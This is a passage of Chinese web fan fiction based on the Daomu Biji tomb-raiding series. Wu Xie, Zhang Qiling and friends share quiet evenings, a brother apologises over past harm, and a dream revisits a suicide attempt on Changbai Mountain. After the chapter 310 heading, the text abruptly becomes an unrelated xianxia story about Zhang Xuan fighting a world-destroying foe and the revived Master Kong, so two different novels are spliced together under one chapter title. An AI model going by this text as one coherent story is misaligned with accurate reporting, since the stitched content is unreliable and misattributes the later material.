可衍卜寸仅是笑意深了些，给大家让了条路出来。 汪灿心中受宠若惊，但面上还是镇定的坐在了沙发上，他不太想参与进来，但是他却很强烈的，想要知道黑瞎子选择自己的理由，更是想探讨衍卜寸与张祈灵这种相处情况的答案。 也许，黑瞎子说的那样的参考建议真的很飘渺，但汪灿此时此刻，是真的对于这两人有了相当浓厚的兴趣。 “那都坐会儿吧。”吴峫招呼着黑瞎子过来。 而张祈灵在确认衍卜寸身体真的没事后，才喝了口茶后，扣紧腰上的软刃走了出去。 可在离开客栈后，沿着小哥所留下的痕迹巡视的张祈灵，却并没有真的放下心。 他在感情上的迟钝，并不代表他对于事实不灵敏。 张祈灵同一切鲜血沾边的事都很了解。 他虽然看不懂衍卜寸那副温和面皮下的情绪，却能从中觉察出，来自于对方身体本能的颤抖。 只是张祈灵觉得衍卜寸没有想说的样子，自己贸然询问，很没有礼貌。 张祈灵边走边想，可眼前闪烁的，仍是衍卜寸浅淡眸子下，快速溜走的那一抹违和。 他很多时候，都能从衍卜寸的眼睛里看到这样的神态。 是与吴峫他们同自己亲近时的欣喜并不相同，可以说，那是一种超脱于范畴外的，张祈灵半辈子都不甚理解的东西。 而坐下来的黑瞎子，则在抿茶过程中，轻而易举的看清了衍卜寸那仍未收敛住的局促。 衍卜寸是在张祈灵的面前丢大脸了，但黑瞎子肯定，张祈灵压根没有想那么多。 太多时候的祈都是个直性子，很少有清楚的明白所有情绪的时候，所以这让衍卜寸永远都处在一个自我复查的过程当中。 黑瞎子很明白衍卜寸的踌躇。 而吴峫见衍卜寸还站在那里，连忙扣住对方的手腕，将人拉到沙发上，“先歇会儿，你待会儿再回自己房间也可以。” 对于衍卜寸，吴峫那是既愧疚又不知如何表达，他作为承担张祈灵所有善意的既得利益者，让他觉得此时的呼吸，都像是在同衍卜寸炫耀什么。 哪怕自己并没有那个意思，可吴峫就是一个敏锐的心地柔软的人。 他太想要所有的人都能够和平相处，建造出只有亲朋好友相聚的小家，且不让任何不良影响独指向一人。 而衍卜寸很是知道吴峫的心软，便顺着对方的力道回了原先的位置上。 衍卜寸知道，自己前面说的，就是一直以来所想的，他再怎么嫉妒，再怎么不甘，也不会真的舞到正主面前，与对方撕个鱼死网破。 他需要吴峫的台阶，维持自己那岌岌可危的体面。 “茶也喝了，我先去把我的菜热了，你们继续聊。”黑瞎子起身，去了厨房的位置，但其实余光还是在注意他们的情况。 一旁的汪灿见黑瞎子走了，就跟个钉子户扎地一样的骑虎难下，他是真不知道该同吴峫和衍卜寸说些什么，哪怕这是带领自己找到弟弟的恩人们。 更何况，他和黑瞎子进来的时候，就发觉单独相处的这两人的氛围，实在是怪得很。 而吴峫看出了汪灿的忐忑，便给他又倒了杯茶，并顺势将原本聚在衍卜寸的注意力，转移到汪灿的身上，“刘丧刚问你去哪里吃了，需要我转达一下吗？” “我去餐馆吃的。”汪灿答着，“不过他真的想听我的去向吗？” 吴峫见他没有直接喝，便推了下茶盏，“你也可以自己去问，毕竟我也摸不准刘丧在想什么，只是刚才他说了这句话，所以我就向你传达了，仅此而已。” 汪灿得到这样的答案，其实是有些开心的，将茶喝了一点后，才抬头看向吴峫。 “所以他今天和你们吃饭的时候，情绪、状态什么的都还好吧？”汪灿没有经历兄弟这层关系的相处模式，便连向吴峫发问都有些小心翼翼。 他生怕是泡影。 而同坐沙发的衍卜寸，听到吴峫和汪灿的交谈，原本丢脸的怯意也退了一些，就也加入，开了口，“挺好的，能看出来他对你的印象并不是特别差。” “对，可能就是因为现在相遇的时间节点，对于刘丧来说实在是太快了，不过相信你和他慢慢的接触，他最后还是会接受你的。”吴峫看待汪灿的神色，是见小孩初长成一般的慈祥。 毕竟在吴峫眼里，自己的壳子下，可是多比汪灿活了十年呢！ 吴峫随后拍着汪灿的肩膀，安慰着，“而且，我能看出，刘丧是一个心底里柔软的人，他不是什么油盐不进的人，他其实是想要和睦相处的。” 汪灿瞧着面前眼睛亮的够呛的吴峫，默默点头。 而厨房也适时，传来了微波炉停止工作叮的一声。 随后，众人就见黑瞎子端着自己的青椒肉丝炒饭，拌上红烧牛肉回来了。 他大咧咧的坐在地板上，就着低矮的茶几便吃了起来。 衍卜寸看着黑瞎子塞的唇齿喷香的模样。 发觉胖子的慈爱光环，那是比吴峫还要强烈，而且是对大家一视同仁的偏爱。 毕竟黑瞎子说好的只要汤，可最后的结果是，肉满的都要溢出来了。 第307章 湿润流珠 而在黑瞎子吃完后，也因为时间太晚，大家都被吴峫劝回了房。 洗漱好后，躺下的这夜，衍卜寸想了一晚上。 喜欢这件事，连同信赖与信仰，从他被张祈灵所拯救的那一刻开始，便牢固的扎根在了心里。 他卑鄙的曾在张祈灵不懂一切的时候靠近，又在对方为了自己义无反顾追杀烛龙时，感受到那深深的愧疚。 衍卜寸细捻着自己的指尖，他在雨村叙述过去十年仓皇之际，故意握过张祈灵的手。 比寻常人的体温要低些，是同这个人本身一样的冷峻。 通过今晚的事，衍卜寸已经想通了一件事，那就是为什么非要去争个首位呢？ 他已经得到过最好的了。 现今除了吴峫他们，究竟谁能拥有被张祈灵拥抱的殊荣？他还能以朋友和家人的身份，去安分的站定在阿祈的面前，并用那双神明这辈子都看不透的眼，肆无忌惮的爱他、敬他、仰望他…… “想什么呢？”黑瞎子问道。 随后，他看着衍卜寸发愣，便直接停在落地窗前，将窗帘给拉上。 黑瞎子挑眉，随意坐在椅子上，背往后靠，翘起二郎腿，“还想着那事呢？不过我觉得，你也是时候该放下了，真不是我这个老丈人瞧不上你，你现在和祈就跟诱骗小孩儿没啥区别了。” “我知道。”衍卜寸起身，像是怕黑瞎子听不到，或者只仅仅念给自己听般，反复强调，“我知道的，我知道我要的过分，要的太多，这都是我的错，我比任何人都清楚我自己在想什么。” “所以你更应该放弃。”黑瞎子将自己的腿放下去。 又倾身靠近了几分，“不过我还是再跟你重申一遍，喜欢没有错，你想要的东西，你也没有在祈那边强迫去得到什么，你不用这么自责，因为你没有对不起任何人。” 半晌，衍卜寸都没有回答，只有歪头簌簌掠过的风声在响。 张祈灵踏着落叶回来，一打开门便见小哥堵在了那里。 许是知道自己回来的有些晚，且在面对这个明显比自己阅历成熟些的张启灵时，总有一种被压制在下的感觉。 “抱歉。”张祈灵率先服软，这是他在吴峫那里学会的经验。 而小哥只是将张祈灵发丝间的落叶捻下，幽深的眸子里并未带有任何的谴责，甚至于动作柔和的就像是在抚摸怜爱之物般，令做好准备的张祈灵怔愣在了原地。 小哥什么也没说，只是在做完这一系列动作后，给茫然的张祈灵卸了软刃，把人领去了浴室。 反复放好的热水一直是暖的，小哥熟稔的像是在给自己剥衣般的将张祈灵弄皱的卫衣脱下，又将其按在浴缸中给他洗着头。 张祈灵乖顺的露出脆弱的背部。 他能感受到，那从头顶顺下来的泡沫停留在后颈，又很快被一双手给拢上去。 这些天以来的照顾，让张祈灵时常觉得自己被过度的保护起来，而这样的珍视，也让他在惴惴不安间想要一点点的去接受。 “标记。”小哥终于说了今晚以来的第一句话，是在简短问张祈灵是否看到自己做下的痕迹。 张祈灵点了下头，又很快被小哥固定住，“冲水。” 对方的声音在如此高热的环境中，竟显得雾蒙蒙的。 张祈灵不知道再这样的氛围里说什么，于是扒了一下水面上的洗发水沫，见出了个晶莹的泡后，又用指尖去戳破。 “危险没有。”张祈灵最终，言简意赅的表达了此次出行的总结。 小哥将他头上的泡沫冲洗好，没有再多说什么，只是看着张祈灵，那光洁的，还没被未来时间线里所侵害的身体，陷入了沉思，可手上却没停的给人擦着背。 张祈灵并未在这样背对的情况里，发现小哥的异样。 而对方的指尖，正顺着温热的毛巾传递过来柔软的力道，小哥的眸子低垂，沿着从前黑瞎子笔记中所记录的地方游走。 张祈灵的胳膊，曾经险些因为何罗鱼撕裂下去，而现在就是一块没有任何瑕疵的白玉。 他无法想象，在自己帮助张祈灵和黑瞎子离开时，他的弟弟，他的亲人，他在这个世界上最懂的另一个自己。 竟然以那样的姿态，那样的伤痛，躺在那副不属于他的棺材里，羞愧的躲避着吴峫。 而视角置换时，自己所见之景，是张祈灵竭力忍耐的痛不欲生。 更后来，吴峫对张祈灵的敌对，也是这份本不该让张祈灵承受的顶替造的孽。 只是在出了那扇门后，小哥从未与吴峫说破。 他自己也没有想过，那份交接的承诺，自以为是的守护，竟对张祈灵和吴峫之间造成了那么大的伤害，他只以为那是世另我的惺惺相惜，是帮助吴峫的最大合理化选项。 可一切都错了，从自己开始就错了。 张祈灵见小哥的动作顿在那里，察觉到不对，便发出了个音节，“张……” 可又发觉这个大名称呼太生疏了。 半道又改了口，“哥哥。” “嗯。”小哥将他身上的水擦干，又拍了下他的肩膀，“起来。” 张祈灵听从安排的站定，但却没真让小哥亲力亲为到最后，而是自己沥干净身上的水，随后套上小哥的衣服。 两人的身量完全一样。 张祈灵去找吹风机，结果就见小哥已经拿过来了。 这些天的头发又长了些，张祈灵看着眼前略微落下的水珠，迟钝的想着。 又能和哥哥不一样了。 小哥看出来张祈灵在想什么，便认真的将其吹干后，拔下吹风机放好后，选择看着张祈灵的眼睛。 那是仍未被世俗所侵扰的，澄澈的温和。 “恨我吧。”小哥很少会去揭开伤疤，所以只是对张祈灵说了这句彼此才懂的话。 而张祈灵自然从小哥的神情里，明白了那丝歉疚来自何处。 他只是摇头，表示自己并不觉得这件事小哥需要道歉。 毕竟当年事出紧急，吴峫身边总要有一个足够强大的人，就算是张祈灵去守门，他甘之如饴，绝不会说一句不好。 可小哥已经从黑瞎子与吴峫他们的讲述中，知道了十年以来发生的事。 张祈灵对吴峫的欺骗，是源于答应自己的誓言，如果没有这份承诺，他也不会真的完全去迎合吴峫的要求，用命去证明自己的忠心，并想自尽于长白山的飞雪中。 而小哥这样复杂的视线，只看的张祈灵心抽痛起来，他抬手触碰着小哥的脸颊，原本平淡无波的脸上带了真心实意的浅笑。 “我，很喜欢，哥哥。”张祈灵努力学习着这份叫做亲情的牵系。 而在今天，吴峫的科普教育终于有了回报。 小哥眸光闪烁，靠近几分后，见张祈灵是真的没有计较，才一把抱住了他。 民宿的洗发水香味有些浓郁，小哥的下巴靠在张祈灵的肩上，竟被熏的落了泪。 而张祈灵偏头，迟钝地蹭了下小哥的耳廓，仍以为发丝湿润流珠。 第308章 只为自己而来 半晌后，张祈灵轻拍了下小哥的后背，示意现在要休息了。 而小哥只是将张祈灵的发丝理顺后，才松开了这愧疚感极强的拥抱。 紧接着关灯，回到了自己的床上。 张祈灵见此则将自己滚在了被子里。 这副身体对于环境的容忍度很高，哪怕被陌生的气息裹挟，仍然能够保持良好的状态。 待呼吸平稳后，张祈灵原以为自己要睡着了。 结果意识刚要沉下去，便听见了小哥那边传来了悉悉索索的声音。 待半分钟后。 张祈灵身侧一陷，发觉是小哥上了床。 对方用温热的臂弯，将自己整个人不容置喙地拉进怀中。 曾没有采纳胖子拥抱锁人建议的小哥，如今却出格的厉害。 而张祈灵想要扭头问小哥怎么了，结果这人立刻将脸埋进了自己的肩膀，扑出来的气息很是平缓。 小哥秒睡了。 张祈灵往后蹭了下，背部贴在小哥的胸膛上，能够感受到对方不安的心跳。 紧接着，自己被拢的更紧后。 张祈灵只当作小哥需要时间来抚平这样的愧疚。 于是，他慢吞吞的调整好姿势，令自己这个抱枕能够发挥最大效用，让对方能睡的更舒服些。 困意逐渐袭来。 许久未真正得到安稳日子的张祈灵，彻底陷入梦乡。 “张祈灵！” 自名字被唤醒的那一刻，原本压盖住的棺材盖瞬间被推开。 而一只白皙的手快速伸到自己的面前。 张祈灵顺势抬眼，发现那竟是急的满头大汗的吴峫。 对方因长时间的疲劳，使得面庞上有明显的倦意，可是在看向自己时，那双眸子亮的吓人。 “吴峫，你怎么来了？也不打声招呼。”黑瞎子在张祈灵背后起身，说道。 并颇为熟练的搭上吴峫的手，而对方则快速抽离。 吴峫蹙眉，完全没想过黑瞎子会出现在张祈灵的身边，疑惑的问道，可很快发现了真相，“你怎么也在棺材里？不对，是你把祈灵拐走的！” 丝毫不觉愧疚的黑瞎子撑起身子，顺便将险些缺氧的张祈灵拉起来，又扶着人出了棺材。 “说拐这种话，性质就变了哈，”黑瞎子食指左右晃着，瘪着嘴，一副被冤枉惨了的样子。 胖子直接攥着黑驴蹄子给黑瞎子来了一下，“那也没区别了！你说你这想请人走好歹说一声啊，就这么一声不吭把我家祈灵小兄弟带走了，嚯，现在又来卖乖了！” 站在一旁的张祈灵，则活动了下胳膊，但却没有感受到疼，他疑惑的看了眼被包扎好的伤处，并未见衣料上有血迹。 而张祈灵明显不在状态的样子，也被小哥看在了眼里。 对方快步走，然后扣住张祈灵的手腕，将人拉近自己后，用手掌一寸寸的，顺着刚才张祈灵目光停留的位置移动。 “疼吗。”小哥的指尖，最后止步于印象里张祈灵被重创的地方。 他严谨的只问了这两个字。 不过张祈灵明显感觉不到痛楚，索性直接摇头。 可画面骤然扭曲，小哥的模样像是飞沙一般被吹散，张祈灵急切的去抓，生怕这来之不易的幸福转瞬即逝，但大家消失的太快了。 张祈灵尚来不及理清状况，就感觉到周边的场景也在跟着改变。 牢哀山茂密的植被正快速被冰晶包裹，铺天盖地的大雪不要命的往下砸，原本澄亮的夕阳回退，抬眼便与高悬曜日相对。 低头则见手拿软刃，锐利之处正对准腰腹。 张祈灵喉头滚动，深吸了口气，可却感觉不到冰冷长白山倒灌进鼻腔的扎肺感。 他茫然的想要起身，但很快就发现自己像被固定在了那里，如同一尊刻好的冰雕，腿部像死物般的沉。 “张祈灵！” 又是一声呼唤。 这让张祈灵聚集了所有的精神，向声音来源处看去，直到黑瞎子冲到自己面前，夺下了自己的软刃，并愤怒的，将那差点用于自尽的武器抛的要多远有多远。 张祈灵眨眼，只感觉心里酸胀的厉害。 紧接着，在黑瞎子身后跟来的，是近乎扑在自己身上的吴峫。 “你怎么能这么做，你怎么能信我说的！我不讨厌你，那些都是气话，都是假的！！！”吴峫攥紧了张祈灵的衣领，几乎是将人摇的要散了架。 张祈灵终于在此时想起来了。 他轻笑着，直到那唇角弧度变大了很多。 胖子显然不清楚张祈灵的状态，赶紧先将疯了想要挽回的天真给拉开，并摸了把张祈灵的额头，确认他体温正常。 “没发烧啊，怎么突然笑这么开心？”胖子嘟囔着，虽然不懂，但还是将背包里的羽绒服套在了张祈灵的身上。 感受到温暖的张祈灵，轻蹭了一下属于自己的外套处的绒毛。 他现在才明白，自己所看到的，是过去每一个重要的，想要放弃一切去奔向的，临近死亡的节点。 所以才感受不到疼，也不觉得冷。 而现在的走向，是按照自己的意愿出现在了梦境中。 张祈灵的笑容渐深，秉承着梦里的事你不知我知，终于是第一次，像个被宠爱的孩子般，回搂住了吴峫。 长白山不断呼啸的风在耳畔响彻。 众人的担忧此起彼伏。 “没发烧已经算好的了，但我刚要是来晚一步，他就！”陷入氛围中的黑瞎子，揉了把自己的头，比起刚开始对于张祈灵自尽的气愤，现如今更多的是疼惜。 是为了钱，带着张祈灵走这一程的悔恨。 黑瞎子踹着树干，近乎是将上头枝桠的雪都抖了下来，他觉得自己就是个大傻叉，被鄢啸南牵着鼻子，将亲自张祈灵逼到如此境地。 而胖子，则在张祈灵与吴峫抱上的瞬间，便将自己足够宽厚的手臂贴到了张祈灵的背，又接着勾住了吴峫的胳膊。 张祈灵被夹在中间，却远不知此刻胖子的心疼，以及吴峫的愧疚。 但他清楚的明白了自己的心。 原来比起当初毅然决然的自戕，其实他更想拥有的是名为拯救的双面奔赴。 张祈灵要的，从始至终，都是那一刻只为自己而来的人。 至于现在…… 张祈灵循着热源，翻了个身，下意识钻进了小哥的怀里。 而根本没睡的小哥，则在开始的震惊后，选择温柔又青涩的，一下又一下，如获至宝般轻拍着张祈灵的背，直至怀中人在睡梦中，连眼角眉梢都染上了笑意。 “可爱。”小哥轻喃。 他真心实意的，沉沦在对方的幸福当中。 哪怕，他根本不知道自己的弟弟梦到了什么。 但他仍会为他的雀跃而欢喜。 第309章 孩子 寻常安稳的白日终于到来，吴峫鲜少有这样想赖床的时候，可好不容易睡个安稳觉，就被手机来电吓了一哆嗦。 待接通后，才发现是张日山。 “怎么了？”吴峫的脑子一下子清醒，还以为是汪家卷土重来，引动了张日山出马。 结果刚问完，就听到对方重重叹了口气，“黑瞎子没和你说吗？” “黑眼镜说什么了，你们联系了吗？”吴峫拔床而起。 这动静直接把另一张床上的胖子给吓的猛哆嗦，他骤然睁眼，发现梦里倒斗揣进兜里的宝贝都消失了，那叫一个叫苦连天。 “不是，天真你早上搞什么啊！”胖子撒泼般在床上滚了一遍，“我以为叙利亚大炮轰过来了呢！给我的美梦都吓没了，你都不知道，那是正儿八经的官窑啊！那成色，那官印，实打实的上上乘好货！” 吴峫掀开被子直接穿上鞋，冲胖子嘘一下，接着对张日山那边道，“你继续说，我现在就去找黑瞎子问情况。” “其实也不是紧急事，是黑瞎子招来的小孩点名要找你，而且今天又来闹了。”张日山是真的不擅长应付年仅八岁的孩子，这烂摊子让吴峫接手最好了。 吴峫愣了下，反问着，“孩子？” “对，孩子。”张日山这下明白了，黑瞎子压根就没有和吴峫说过这种事，于是他补充着，“带头的孩子，说自己叫黎簇，你认识的那个黎簇。” 陷入头脑风暴的吴峫愣在那里，半挂着的外套尚不勾肩，踏着的拖鞋都反了，滑稽极了。 而胖子这时候也从自己的美梦中彻底反应过来，三下五除二套上鞋，“天真，这电话里说啥了？” 吴峫黑沉着一张脸，随后在胖子不解的疑问中冷笑出声。 “黑眼镜造的孽。”邪帝吴峫是真服了黑瞎子了。 他们通过那个门回到了十年前，提早解决汪家，就是为了不让更多的人牵连进来，可是他竟然还是和黎簇联系上了，并且纵容年仅八岁的孩子找到张日山那里。 吴峫将手机开了免提，“那黎簇过来了吗？他没钱用吧。” “嗯……不巧的是，他把家里的家具变卖，正正好好买了去你们那里的车票。”张日山道，又补充，“地址确实是我说的，我想他有资格见你一面，学校那边我帮他们三个小孩请假了。” 吴峫扶额，“我真谢谢你呀。” 而在另一边的张祈灵，早就醒了过来。 小哥忙前忙后的给自己洗漱又穿衣服，差点让张祈灵觉得自己是个胚胎，被照顾到如此的程度总觉得怪怪的。 所以在小哥拿着鞋子要给张祈灵穿的时候，他选择了自己来。 小哥没有说什么，只是顺了下张祈灵的头发。 正常的早餐是要去胖子那里吃的，于是小哥便带着张祈灵去了。 不过打开门的时候，便见到吴峫在沙发上黑着脸，一副苦大仇深的模样。 张祈灵坐在吴峫旁边，选择给他削出来个苹果消气，虽然他并不知道对方在为什么事发愁，但电视里的人这时候都会这么做。 他表示自己会努力学习的。 “黑瞎子来了吗？”吴峫看了一圈周围。 胖子做着早餐，离着门口近，便探头瞧了眼走廊，“没来呢。” “发生什么事了？”衍卜寸是后进来的，顺手帮着胖子洗菜。 吴峫叹了口气，“有些事我们想的太简单了，我估计那个门是把所有人十年的记忆，都放到现在来了。更简单来说，我今天接到了个电话，张日山说黎簇找上他了，而且还是因为黑瞎子。” “黑瞎子应该也不会主动联系那些小豆芽。”胖子敲了个鸡蛋，“不过黎簇他们今年几岁来着，七岁还是八岁？能有这个勇气找到新月饭点也挺不错了！” “我也没想到他们会跑那么远，还必须来见我一趟。”吴峫揉了下头。 系上围裙的解雨臣叹气，“可能小孩子就会比较执着吧。” “但重点是十年记忆，也许不仅仅进入门的我们有。”吴峫道，并举了个例子，“这个奇异事件囊括了太多的人，总会有更多知道十年间情况的人来联系我们。” “那就给吴山居挂个牌子呗。”胖子给煎蛋翻面，头也没回的提供建议，“让你家小萌萌当客服。” 吴峫挑了下眉，“胖子，我发现你这有时候的建议真不错啊，就是每次指路这方面可差太多了。” “什么叫指路差太多！那不是每次你们都让我选，结果都把我当错误排雷用嘛。小天真，你要每天都这么搞，我告诉你，往后的煎蛋我就不留你的份了！”胖子磨铲霍霍向吴峫。 张祈灵看着胖子和吴峫打趣的模样，赶紧将削好的苹果切块，一人一口的以避免嘴战。 搞的吴峫腮帮子塞的那叫一个鼓，在黑瞎子来的时候都没法训人了。 嚼了半天才，吴峫才来得及拽着黑瞎子问话，“不是，你怎么突然联系黎簇也不告诉我们一声？” 黑瞎子显然也很懵。 “我没联系啊，我就是给他们送了个辅导老师过去，这不讲娃娃要从小抓起嘛。不过，他们是自己联系张日山然后找到我的，我可是一点儿都没露面。”黑瞎子举着三根手指，“天地良心，我发誓！” “你这被狗吃的良心自己揣着，别让雷劈了就成。”胖子表示呵呵哒，随后把早餐摆好，“开饭了，做了煎蛋还有阳春面，自己不够往里加点儿我的蜜汁拌酱。” 张祈灵点头，随后去洗了手。 等坐到座位上，黑瞎子才继续道，“也不算什么坏事吧，按黎簇的出现来讲，他已知信息确实是十年间发生的事，但也恰恰证明，只有参与到计划的人才会有这段记忆，我感觉不用太担心更多的人受到牵连。” “我同意瞎子说的。”解雨臣咽下面才开口道，“毕竟现在的情况，似乎恢复记忆的只局限在九门里的人。” 而张祈灵拌着胖子的酱，一点声音没发出的吃着。 第310章 不甘 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 